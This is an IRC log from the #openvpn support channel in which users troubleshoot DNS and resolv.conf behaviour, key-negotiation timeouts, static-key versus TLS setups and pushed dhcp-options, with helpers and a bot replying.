10:52 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 256 seconds]
10:54 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has left #openvpn ["Bye"]
11:14 < nEmiSH_> kisom: hopefully that helps? also i've noticed if i use tunnelblick this happens and it also sets my resolv.conf immediately… if i do it directly through command line using openvpn binary it never sets my resolv.conf so it doesn't break
11:16 < nEmiSH_> so not sure why tunnelblick sets the resolv.conf properly but command line doesn't… but its almost like tunnelblick is doing redirect-gateway even though it's not being set in server.conf
11:24 < nEmiSH_> also i've noticed that i can connect and resolve or ping my remote router 192.168.1.1 but after 30 seconds or so I sometimes can't ping my remote router or use it to resolve obviously… but other times it seems my router stays pingable, I can issue nslookup against it for say google.com or yahoo.com but when i try to then ping yahoo.com or google.com it says it can't resolve yahoo.com: Unknown host
11:26 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 240 seconds]
11:31 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
11:50 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
11:53 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
11:54 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
12:02 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Read error: Connection reset by peer]
12:03 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has quit [Ping timeout: 264 seconds]
12:03 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
12:04 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has joined #openvpn
12:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Network is unreachable]
12:06 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
12:06 -!- mode/#openvpn [+o vpnHelper] by ChanServ
12:07 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 255 seconds]
12:10 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:29 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has joined #openvpn
12:33 <@krzee> nEmiSH_, thats not openvpn, it is tunnelblick
12:33 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has quit [Read error: Operation timed out]
12:34 <@krzee> the whole sensing network changes stuff
12:42 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 256 seconds]
12:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
12:56 -!- zheng [~zheng@101.229.199.34] has quit [Quit: Leaving]
13:22 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
13:24 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
13:34 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
13:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
13:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:31 < nEmiSH_> krzee: ok thanks… anyone have any idea why my setup isn't working? I've updated the gist to provide more data
14:40 -!- Devastator- [~devas@177.99.153.49] has joined #openvpn
14:40 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
14:44 -!- xbanux1 [~xbanux@triband-mum-59.182.177.145.mtnl.net.in] has quit [Read error: Connection reset by peer]
14:45 -!- xbanux [~xbanux@triband-mum-59.182.176.40.mtnl.net.in] has joined #openvpn
14:47 < vaillor> can you tell me why redirect works without using "route" directive ?
14:47 < vaillor> the howto talks about using "route"
14:47 < vaillor> but i haven't used it
14:47 < vaillor> just enabled ip forwarding on the server, one iptables rule
14:47 < vaillor> and "redirect-gateway def1" on the client config
14:47 < vaillor> and it works
14:48 < vaillor> can you tell me why?
14:50 < kisom> vaillor: Read the manual.
14:58 < fulcan> How much overhead does openvpn put on video conferencing if in udp mode? any?
14:59 < kisom> fulcan: In my experience, not much. But I don't have any numbers.
15:00 -!- xbanux [~xbanux@triband-mum-59.182.176.40.mtnl.net.in] has quit [Ping timeout: 276 seconds]
15:03 < fulcan> I have a client that once saw choppy video (probably in tcp mode) going across a vpn and I have done video conferencing in udp over gre and it was clean. But thats cisco. I am just looking for assurance that openvpn in udp is basically the same as gre?
15:06 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:08 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has joined #openvpn
15:09 < AndrewX192> Is it possible to make OpenVPN act as a "hub"? (delivering all traffic to all hosts, regardless of whether it was intended for them)
15:15 < kisom> AndrewX192: Why would you want that?
15:25 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Quit: Leaving]
15:37 -!- master_of_master [~master_of@p4FF24CA4.dip.t-dialin.net] has joined #openvpn
15:40 -!- master_o1_master [~master_of@p4FF24E1F.dip.t-dialin.net] has quit [Ping timeout: 240 seconds]
15:40 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
15:42 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
15:53 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 256 seconds]
16:07 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
16:08 < AndrewX192> kisom: so everyone can see the traffic on the network - It's part of a research/training network
16:10 < pekster> AndrewX192: That's not now IP traffic works. If you want multicast or broadcast support, that's a Layer 2 protocol. You'd therefore need tap for that
16:10 < pekster> how*
16:13 < AndrewX192> pekster: I have OpenVPN configured as tap, I just want the OpenVPN "switch" to deliver packets to every client on the VPN
16:14 < pekster> Then use a broadcast protocol. OpenVPN is like a NIC. It doesn't "do" anything by itself. It's up to *you* to use a protocol across the link that does what you want
16:27 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
16:32 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
16:39 -!- fulcan [brads@2600:3c01::f03c:91ff:feae:9ef3] has quit [Quit: Hey!  Where'd my controlling terminal go?]
16:55 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
16:56 < Moonlightning> Me again. I have logs now. X3
16:56 < Moonlightning> One of the machines on the other LAN seems to have been dumping configuration options into syslog O.o
16:57 < Moonlightning> I just tried to restart the openvpn sevice, and it seems to have worked, but the server isn't getting a connection attempt at all, according to its log.
17:02 -!- Orbi [~opera@46.246.36.187] has left #openvpn []
17:12 -!- master_o1_master [~master_of@p4FF24B61.dip.t-dialin.net] has joined #openvpn
17:14 -!- master_of_master [~master_of@p4FF24CA4.dip.t-dialin.net] has quit [Ping timeout: 240 seconds]
17:15 -!- Devastator- [~devas@177.99.153.49] has quit [Changing host]
17:15 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
17:27 < Moonlightning> o.o
17:27 < Moonlightning> This log is a wall of…
17:27 < Moonlightning> Wow!
17:58 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Quit: Leaving]
18:07 < MorgyN> log is made of wow?
18:12 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has joined #openvpn
18:15 < Moonlightning> It's a wall of mostly the same error over and over and over…
18:17 < Moonlightning> Well. Information, not error.
18:18 < Moonlightning> default port changed from 5000 to 1194; OpenVPN 2.1 requires `--script-security 2` to call user-defined executables; reusing SSL context; control channel MTU parms; socket buffers; data channel MTU parms; local options string; expected remote options string; local options hash; expected remote options hash; UDPv4 link local; UDPv4 link remote
18:28 < pekster> That's all completely normal and just informational
18:28 < pekster> !logs
18:28 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
18:32 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
18:46 < Moonlightning> Yeah, but it happened over and over and over again!
18:46 < Moonlightning> There's gotta be several thousand of these.
18:48 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
18:48 < Moonlightning> pekster: you don't want me to paste this whole thing :P
18:51 < pekster> If you can't paste logs from a connection attempt starting at the *beginning* of the connection attempt, why bother asking for help?
18:51 < pekster> If you say "it's broken" my reply is "bummer, hope you fix it"
18:52 < MorgyN> lul, i will have to remember
18:52 < MorgyN> that
18:52 < pekster> I don't need hours and hours of the same crap. Past the logs from a connection attempt, from both sides, and the corresponding configs
18:52 < pekster> !configs
18:52 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
18:53  * Moonlightning nods
18:53 < Moonlightning> Hang on. Got a lot going on over here.
18:57 < MorgyN> partytime!
19:05 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:05 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has quit [Ping timeout: 248 seconds]
19:06 -!- jetole [~jetole@unaffiliated/jetole] has quit [Quit: Lost terminal]
19:18 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:28 < Moonlightning> http://pastebin.com/iFJKGuM4 | http://pastebin.com/6fAdKPaM # logs, client and server, respectively
19:29 < Moonlightning> If you hang on a sec, I'll get you configs too
19:30 < pekster> And what's the issue here?
19:31 < pekster> It connects fine, then gives you issues on key-renegotiations?
19:31 < Moonlightning> Two clients…uhh…for lack of better knowing what happened, they /disconnected/ at some point last night, and I couldn't get a connection to either of them.
19:32 < pekster> But what happens *now*?
19:32 < pekster> These logfiles span hours
19:32 < Moonlightning> Right now, I'm still having issues with sweetie-belle, although I can connect fine to fluttershy
19:32 < pekster> (at lest the client)
19:32 < Moonlightning> fluttershy seems to have been rebooted at some point between now and then, so that might be it
19:32 < pekster> I want a full log from a *single* connection attempt. I don't want logs from prior to that point as they won't help
19:33 < pekster> I don't see any of that becuase OpenVPN spits some standard messages when you first start it up
19:33 < pekster> Your logs lack that, thus I assume you haven't given me what I want
19:33 < Moonlightning> Ooookay
19:38 < Moonlightning> …
19:38 < Moonlightning> Well, it's working now. :I
19:39  * Moonlightning headdesks
19:40 < MacGyver> Moonlightning: I think I know what your problem is.
19:41 < MacGyver> Moonlightning: Using MLP-names for hostnames is just bad karma.
19:41 < Moonlightning> -.-
19:41 < Moonlightning> The hostnames are irrelevant.
19:41 -!- brute11k [~brute@89.249.230.50] has quit [Read error: Connection reset by peer]
19:42 -!- brute11k [~brute@89.249.230.50] has joined #openvpn
19:48 < MacGyver> (I'm also actually reading the logs, btw, I feel somewhat justified in poking fun.)
19:48 < MacGyver> Anyway, I've noticed that on lossy connections 60 seconds is too short, at least for some of my machines, to finish negotiating.
19:49 < MacGyver> You could try setting the key-negotiation timeout to 120.
19:49 < Moonlightning> Really? O.o
19:49 < Moonlightning> A minute seems like /plenty/ of time.
19:49 < pekster> In the face of *massive* packet loss, sure. Is your link that bad?
19:49 < pekster> If your link is really that awful, fix it, not hack around it
19:49 < pekster> OpenVPN is virtually unusable anyway if you can't get a TLS session established
19:49 < Moonlightning> I seriously doubt it.
19:49 < MacGyver> pekster: If I had that option I would.
19:49 < Moonlightning> …wellll…
19:50 < Moonlightning> That LAN /does/ seem to be having intermittent issues.
19:50 < Moonlightning> Hmm.
19:51 < MacGyver> pekster: Unfortunately, I'm not the network administrator for the company, and they've deemed it unneccesary to give that part of the building wireless access, because people with desks can request an outside line.
19:52 < MacGyver> pekster: Slight oversight is the people who have to do desk-hopping (since we're short on space) *can't* do so.
19:52 < MacGyver> But in a few months we'll be in a new building anyway, so I live with it.
19:52 < MacGyver> And in the meantime I have a wireless connection with about 30% signal strength and intermittent issues.
19:53 < MacGyver> Thus, negotiation-timeout set to 120 :)
19:53 < pekster> Right
20:17 -!- tgunr [~davec@66-249-166-11.static-ip.telepacific.net] has quit [Quit: Nity nite]
20:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:26 -!- tgunr [~davec@66-249-166-11.static-ip.telepacific.net] has joined #openvpn
20:36 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
20:40 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
20:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 276 seconds]
20:55 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
20:57 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
21:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:22 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
21:57 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
21:59 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
21:59 -!- tgunr [~davec@66-249-166-11.static-ip.telepacific.net] has quit [Quit: Nity nite]
22:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
22:09 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
22:22 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
22:22 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Client Quit]
22:22 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
22:23 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
22:37 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
22:53 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
22:55 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
23:03 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
23:34 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Quit: Moonlightning|Asleep || The Nightmares will collide. And become a Dream. <3]
--- Day changed Sun Apr 07 2013
00:25 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
01:27 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has joined #openvpn
01:48 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has joined #openvpn
01:56 -!- alijosa [~alijosa@cpc8-benw9-2-0-cust233.16-2.cable.virginmedia.com] has quit [Quit: leaving]
02:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:01 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
03:10 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
03:19 -!- Orbi [~opera@46.246.36.187] has joined #openvpn
03:23 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
03:23 < andi> Hello
03:24 < andi> Is there a way to setup a single subnet with multiple openvpn server nodes? I'd like to get some redundancy in case one server crashes.
03:26 < andi> The main problem is: I do have clients which route their local network into the vpn. Therefore I get some headache about split mode; if some clients are connected to one server and other ones to the other server.
03:42 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 264 seconds]
04:01 < jzaw> andi simple answer yes
04:01 < jzaw> implementation more complex than a simple yes
04:02 < jzaw> see link aggregation / bonding / load balancing etc etc
04:02 < jzaw> its similar to having more than one internet connection
04:02 < jzaw> except here youre talking about vpn tunnels
04:04 < jzaw> andi, google: openvpn failover
04:04 < jzaw> or google: openvpn redundancy
04:12 < andi> Ah, thanks jzaw. I think I'll first try another solution by dynamically switch the ip of the vpn-servers hostname via nsupdate.
04:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:26 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
04:35 -!- brute11k1 [~brute@89.249.230.50] has joined #openvpn
04:36 -!- brute11k [~brute@89.249.230.50] has quit [Ping timeout: 256 seconds]
04:46 -!- omid8bimo [~omid@unaffiliated/omid8bimo] has joined #openvpn
04:53 < omid8bimo> hello, I'm trying to setup a OpenVPN server for multiple of my users, looks like the most easy way is to use secret key. now i have this question. can i generate one key for all my clients? and if yes, how can i assign an IP pool to them?
05:29 -!- Orbi [~opera@46.246.36.187] has left #openvpn []
05:41 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 276 seconds]
05:43 -!- mattock is now known as mattock_afk
05:45 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
05:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
05:47 -!- omid8bimo [~omid@unaffiliated/omid8bimo] has quit [Read error: Connection reset by peer]
05:53 -!- omid8bimo [~omid@unaffiliated/omid8bimo] has joined #openvpn
05:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
05:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:57 < omid8bimo> anyone? can i use the secret-key method for multiple clients to connnect?
06:16 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has quit [Ping timeout: 260 seconds]
06:16 <@plaisthos> omid8bimo: no
06:18 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
06:19 < omid8bimo> plaisthos: can i create like 10 different keys & 10 different tun0.conf (e.g. tun0.conf, tun1.conf, tun2.conf etc) ?
06:21 <@plaisthos> yeah or use tls-server
06:22 <@plaisthos> !static
06:22 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
06:22 <@plaisthos> that was not what I was looking for ...
06:22 <@plaisthos> omid8bimo: you basically have to run one server per client with static keys
06:23 < omid8bimo> plaisthos: one server means each tunx.conf is considered a server?
06:27 <@plaisthos> omid8bimo: you should probably use tls-server and something like easy-rsa
06:27 <@plaisthos> it is easier than setting up multiple servers
06:29 < omid8bimo> i thought static key is simpler. i dont wanna spend too much time on figuring out how tls setup will work.
06:31 < omid8bimo> if you say plaisthos that multiple static keys and their tunX.conf will do the job for me, i will work on that, but if yes, i have a question in this regard
06:32 -!- me0615 [~me0615@180.194.159.49] has joined #openvpn
06:32 < omid8bimo> what the ip configuration should be per tun0.conf files? like "ifconfig 10.9.8.1 10.9.8.2" , should i keep 10.9.8.1 fixed on each tunX.conf(s) and only change the second ip?
06:32 < me0615> krzee, are you available? can I ask a question to you?
06:34  * MacGyver concurs with plaisthos.
06:34 < MacGyver> For the simple case of 1 server and 1 client, having static keys is easier (though still less safe).
06:35 < MacGyver> For your setup, "just" use tls-server and generate the certificates with easy-rsa.
06:35 -!- me0615a [~me0615@180.194.159.49] has joined #openvpn
06:35 < me0615a> what is the use of pushing dhcp-option
06:35 < MacGyver> It's as hard as following the exact steps in the howto.
06:35 < MacGyver> !howto
06:35 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
06:36 < MacGyver> See the section titled "Setting up your own CA" etc.
06:36 < me0615a> will client really use the options that are pushed from the server?
06:36 < MacGyver> me0615a: That depends on the client.
06:36 < me0615a> what do you mean?
06:37 -!- me0615 [~me0615@180.194.159.49] has quit [Ping timeout: 248 seconds]
06:37 < MacGyver> me0615a: On Windows it should work without additional configuration.
06:37 < MacGyver> me0615a: On other systems, however, you need an up-script which handles dhcp-options.
06:38 < me0615a> i see.
06:38 < kisom> Huh?
06:38 < kisom> MacGyver: OpenVPN sets the IP correctly in Win/OS X/Linux without DHCP
06:38 < me0615a> where can I see an example of up-script for that?
06:38 < MacGyver> kisom: We're talking about the push "dhcp-option ..." part.
06:39 < MacGyver> kisom: Or at least, I am, since that's what the question suggests it's about.
06:39 < me0615a> MacGyver, where can I see such up-script? i am a windows user so I dont know much of up-script but I would like to learn.
06:39 < MacGyver> me0615a: I'm looking.
06:40 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
06:40 < kisom> Which DHCP option are we talking about? DNS?
06:41 < me0615a> kisom: could be also.
06:41 < MacGyver> me0615a: https://wiki.archlinux.org/index.php/OpenVPN#DNS
06:41 <@vpnHelper> Title: OpenVPN - ArchWiki (at wiki.archlinux.org)
06:41 < me0615a> thanks. will read now.
06:41 < MacGyver> me0615a: It's not the up-script I use for that, though.
06:41 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:42 < me0615a> ok.
06:42 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
06:42 < MacGyver> me0615a: But a google search should turn up more.
06:43 < kisom> me0615a:
06:43 < kisom> !goal
06:43 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:45 -!- me0615 [~me0615@180.194.159.49] has joined #openvpn
06:45 -!- me0615 [~me0615@180.194.159.49] has quit [Client Quit]
06:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
06:46 -!- me0615a [~me0615@180.194.159.49] has quit [Ping timeout: 264 seconds]
06:48 -!- omid8bimo [~omid@unaffiliated/omid8bimo] has quit [Ping timeout: 256 seconds]
06:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
07:08 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:14 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
07:26 -!- tgunr [~davec@66-249-166-11.static-ip.telepacific.net] has joined #openvpn
07:41 -!- TomM_ is now known as TommehM
07:45 -!- tgunr [~davec@66-249-166-11.static-ip.telepacific.net] has quit [Quit: I'm outta here]
07:52 -!- tgunr [~davec@66-249-166-11.static-ip.telepacific.net] has joined #openvpn
08:02 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
08:02 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 264 seconds]
08:02 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:04 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
08:06 -!- omid8bimo [~omid@unaffiliated/omid8bimo] has joined #openvpn
08:06 < omid8bimo> how can i create .ovpn config file to give away to my clients?
08:14 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
08:14 <@plaisthos> MacGyver, me0614a: Android/ios will also honour dns related dhcp-options
08:19 <@plaisthos> omid8bimo: should be in the tutorial too...
08:20 < omid8bimo> plaisthos: i couldnt find it. there is a sample but its not what im looking for.
08:21 < omid8bimo> plaisthos: i want a sample for static key setup. to open it on Android OpenVPN Connect
08:22 < omid8bimo> i remember i saw that in this configure, the key must be in the end of the file somehow!
08:28 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
08:39 -!- omid8bimo [~omid@unaffiliated/omid8bimo] has quit [Ping timeout: 260 seconds]
08:40 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
08:51 -!- omid8bimo [~omid@46.209.96.58] has joined #openvpn
08:54 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:57 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
09:14 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:15 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
09:15 -!- zheng [~androirc@101.229.199.34] has joined #openvpn
09:18 -!- zheng [~androirc@101.229.199.34] has quit [Client Quit]
09:23 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:25 -!- omid8bimo [~omid@46.209.96.58] has quit [Quit: WeeChat 0.4.0]
09:26 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
09:31 -!- JSharpe [~JSharpe@ns264658.ovh.net] has joined #openvpn
09:31 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
09:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:46 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
09:47 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:49 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
09:53 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:55 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
09:57 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:58 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:11 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 264 seconds]
10:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:12 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
10:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
10:33 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
10:35 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
10:41 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
10:55 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 246 seconds]
10:56 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 264 seconds]
10:57 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
10:59 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
10:59 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
11:00 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
11:05 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
11:06 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
11:19 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 264 seconds]
11:21 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
11:22 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Operation timed out]
11:39 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Ping timeout: 252 seconds]
11:40 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
12:04 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has joined #openvpn
12:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:07 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
12:09 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:09 -!- u0m3_ [~Radu@92.80.89.137] has joined #openvpn
12:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
12:12 -!- u0m3 [~Radu@92.80.89.137] has quit [Ping timeout: 246 seconds]
